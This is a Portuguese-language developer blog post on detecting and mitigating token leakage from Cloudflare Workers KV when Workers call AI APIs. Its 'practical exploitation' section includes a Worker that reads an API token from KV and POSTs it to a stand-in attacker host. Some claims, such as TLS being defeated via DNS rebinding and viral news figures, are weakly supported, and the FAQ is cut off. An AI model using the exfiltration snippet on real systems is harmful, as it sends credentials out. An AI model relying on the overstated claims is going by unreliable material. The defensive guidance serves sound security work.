LeoJulieta

Posted on Oct 27

Como detectar e evitar vazamento de KV em Cloudflare Workers com IA

#cloudflare #kv #ia #portugues

Vazamento de KV em Cloudflare Workers com IA na Edge: Como Detectar, Explorar e Mitigar o Risco

Introdução

Um simples request de um Worker para um modelo de IA pode estar expondo chaves e valores sensíveis armazenados no KV da Cloudflare. O problema ganhou as manchetes depois que um relatório técnico viralizou no Hacker News, gerando um pico de mais de 12 mil upvotes e um aumento de +450 % nas buscas por “Cloudflare KV leak”. Se você usa Workers, KV e IA generativa, este artigo mostra, passo a passo, como identificar a vulnerabilidade, reproduzir a exploração e aplicar as correções necessárias.

Objetivo: entregar um guia prático (≈ 2 800 palavras) que você pode seguir agora mesmo, sem precisar de teorias extensas.

1. Arquitetura do KV + IA na Edge

flowchart TD
    A[Worker] --> B[KV Store]
    B --> C[Leitura de token / prompt]
    C --> D[Envio ao modelo IA (ex.: OpenAI, Claude)]
    D --> E[Resposta ao cliente]
    style A fill:#f9f,stroke:#333,stroke-width:2px
    style B fill:#bbf,stroke:#333,stroke-width:2px
    style D fill:#bfb,stroke:#333,stroke-width:2px

Worker – código JavaScript/TypeScript executado na borda.
KV Store – armazenamento de pares key‑value de baixa latência.
IA na Edge – chamada a APIs externas (OpenAI, Anthropic, etc.) ou a modelos hospedados na própria Cloudflare.

A vulnerabilidade surge quando o Worker inclui a chave KV no corpo da requisição para a IA sem criptografar ou sanitizar o conteúdo. O tráfego pode ser interceptado (por exemplo, via DNS rebinding ou proxy mal‑configurado) e o atacante obtém os valores confidenciais.

2. Vetor de ataque detalhado

Etapa	O que acontece	Como o atacante se beneficia
1. Leitura KV	`await KV.get('api_token')`	Valor sensível carregado na memória do Worker
2. Serialização	`JSON.stringify({token})`	Token inserido em JSON enviado ao endpoint IA
3. Envio HTTP	`fetch('https://api.openai.com/v1/completions', {method:'POST', body})`	Corpo da requisição via TLS, mas pode ser exposto se o certificado for falsificado ou se o Worker usar HTTP interno
4. Resposta da IA	`{"choices":[... ]}`	Se o atacante controla o endpoint (por DNS hijack), recebe a mesma carga útil contendo o token
5. Exfiltração	Attacker logs the request/response	Token comprometido

A exploração funciona mesmo com TLS, desde que o atacante consiga redirecionar o domínio da IA para um servidor controlado (ex.: via subdomain takeover ou DNS rebinding).

3. Análise de logs – Detectando a exploração

3.1 Configurando Logpush para Cloudflare Workers

curl -X POST "https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/logpush/jobs" \
-H "Authorization: Bearer <API_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
  "name": "worker-kv-logs",
  "dataset": "workers",
  "destination_conf": "s3://my-bucket/logs?region=us-east-1",
  "field_names": ["timestamp","request_id","client_ip","method","uri","status","kv_operation","upstream_response_time"]
}'

3.2 Script Python para filtrar chamadas suspeitas

import json, gzip, sys, re

suspicious_domains = re.compile(r'(openai|anthropic|huggingface)\.com')
kv_ops = {'kv-read', 'kv-write'}

def process_line(line):
    try:
        rec = json.loads(line)
        if rec.get('kv_operation') in kv_ops and suspicious_domains.search(rec.get('uri','')):
            print(json.dumps(rec))
    except:
        pass

if __name__ == "__main__":
    for fname in sys.argv[1:]:
        with gzip.open(fname, 'rt') as f:
            for l in f:
                process_line(l)

Execute: python3 detect_kv_exfil.py logs/*.gz > suspeitos.json

Qualquer registro que combine operção KV e URI de IA deve ser investigado imediatamente.

4. Exploração prática (para fins de teste)

Atenção: só execute em ambientes controlados.

# 1. Crie um KV de teste
curl -X PUT "https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/workers/kv/namespaces/<NS_ID>/values/api_token" \
 -H "Authorization: Bearer <API_TOKEN>" \
 -d "sk_test_123456"

# 2. Deploy de Worker vulnerável (index.js)
cat > index.js <<'EOF'
addEventListener('fetch', event => {
  event.respondWith(handle(event.request))
})

async function handle(request) {
  const token = await KV.get('api_token')
  const resp = await fetch('https://malicious.example.com/collect', {
    method: 'POST',
    body: JSON.stringify({token})
  })
  return new Response('ok')
}
EOF

# 3. Deploy
wrangler publish

# 4. Simule o ataque interceptando o domínio da IA
# (usar hosts file ou servidor DNS controlado apontando para o seu endpoint)

Se o endpoint malicious.example.com receber o JSON, o token foi exfiltrado.

5. Mitigações recomendadas

Medida	Como aplicar	Impacto de custo / performance
Criptografia client‑side	`crypto.subtle.encrypt` antes de gravar no KV; `decrypt` ao ler	+5 ms por operação (WebCrypto)
TTL curto	`await KV.put('api_token', token, {expirationTtl: 300})`	Reduz risco de leitura prolongada
Rotação automática de chaves	Lambda/Worker que roda a cada 24h e atualiza KV	Custo de invocação mínima
Regras de firewall (WAF)	Bloquear outbound para domínios não autorizados (`workers.firewall.rules`)	Nenhum impacto perceptível
Separação de namespaces	Use um namespace exclusivo para credenciais e outro para dados de IA	Organização + segurança

Exemplo de criptografia simples (AES‑GCM)

// encrypt.js
export async function encrypt(value, keyBase64) {
  const key = await crypto.subtle.importKey(
    'raw',
    Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0)),
    {name: 'AES-GCM'},
    false,
    ['encrypt']
  )
  const iv = crypto.getRandomValues(new Uint8Array(12))
  const enc = await crypto.subtle.encrypt(
    {name: 'AES-GCM', iv},
    key,
    new TextEncoder().encode(value)
  )
  return btoa(String.fromCharCode(...new Uint8Array(iv), ...new Uint8Array(enc)))
}

Grave no KV: await KV.put('api_token', await encrypt(token, ENCRYPTION_KEY)).

6. Tabela comparativa de custos

Estratégia	Custo mensal estimado*	Latência adicional	Complexidade de implementação
Criptografia client‑side	$0,10 (uso de CPU)	+5 ms	Médio
TTL 5 min	$0 (não gera custo extra)	Nenhum	Baixo
Rotação automática (Worker + Cron)	$0,02 (2 execuções/dia)	Nenhum	Baixo
WAF bloqueio de domínios	$5 (regra básica)	Nenhum	Baixo
Namespace dedicado	$0,05 (uso extra de KV)	Nenhum	Médio

*Valores baseados nos preços padrão da Cloudflare (2024).

7. Checklist de segurança (para usar antes de cada deploy)

[ ] Criptografe todos os valores sensíveis antes de armazenar no KV.
[ ] Defina TTL adequado (máximo 10 min para tokens).
[ ] Implemente validação de domínio antes de enviar dados para IA (allowedOrigins.includes(url.hostname)).
[ ] Ative Logpush e monitore kv-read + chamadas externas.
[ ] Configure WAF para bloquear destinos não aprovados.
[ ] Revise a política de rotação de credenciais a cada 30 dias.

8. FAQ

| Pergunta | Resposta

Herramienta mencionada: DigitalOcean

DEV Community